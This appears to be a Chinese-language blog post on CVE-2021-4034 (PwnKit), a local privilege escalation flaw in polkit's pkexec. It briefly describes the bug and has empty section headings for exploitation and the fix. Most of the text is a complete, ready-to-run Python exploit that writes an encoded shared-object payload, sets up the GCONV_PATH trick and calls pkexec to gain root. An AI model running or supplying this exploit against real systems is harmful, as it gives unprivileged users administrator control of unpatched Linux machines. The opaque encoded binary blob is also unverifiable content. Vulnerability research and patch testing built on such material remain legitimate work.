CVE-2021-4034-- Centos polkit pkexec 本地提权漏洞
Linux Polkit 权限提升漏洞漏洞描述
Polkit 是用于在类 Unix 操作系统中控制系统范围特权的组件。它为非特权进程提供了与特权进程进行通信的有组织的方式。
近日,国外安全团队发布公告称,在 polkit 的 pkexec 程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。
由于当前版本的 pkexec 无法正确处理调用参数计数,并最终会尝试将环境变量作为命令执行。攻击者可以通过控制环境变量,从而诱导 pkexec 执行任意代码。利用成功后,可导致非特权用户获得管理员权限。
利用过程
安全的版本
修复方案
修复后结果,提权失败
payload:
# https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py #!/usr/bin/env python3 # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys # hardcoded amd64 lib from ctypes import * from ctypes.util import find_library import os import zlib import base64 import tempfile payload = zlib.decompress( base64.b64decode( """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""" ) ) libc = CDLL(find_library("c")) libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) libc.execve.restype = c_ssize_t wd = tempfile.mkdtemp() open(wd + "/pwn.so", "wb").write(payload) os.mkdir(wd + "/gconv/") open(wd + "/gconv/gconv-modules", "w").write( "module UTF-8// INTERNAL ../pwn 2" ) os.mkdir(wd + "/GCONV_PATH=.") os.mknod(wd + "/GCONV_PATH=./gconv") os.chmod(wd + "/GCONV_PATH=.", 0o777) os.chmod(wd + "/GCONV_PATH=./gconv", 0o777) os.chmod(wd + "/pwn.so", 0o777) os.chdir(wd) cmd = b"/usr/bin/pkexec" argv = [] envp = [ b"gconv", b"PATH=GCONV_PATH=.", b"LC_MESSAGES=en_US.UTF-8", b"XAUTHORITY=../gconv", b"", ] cargv = (c_char_p * (len(argv) + 1))(*argv, None) cenv = (c_char_p * (len(envp) + 1))(*envp, None) libc.execve(cmd, cargv, cenv)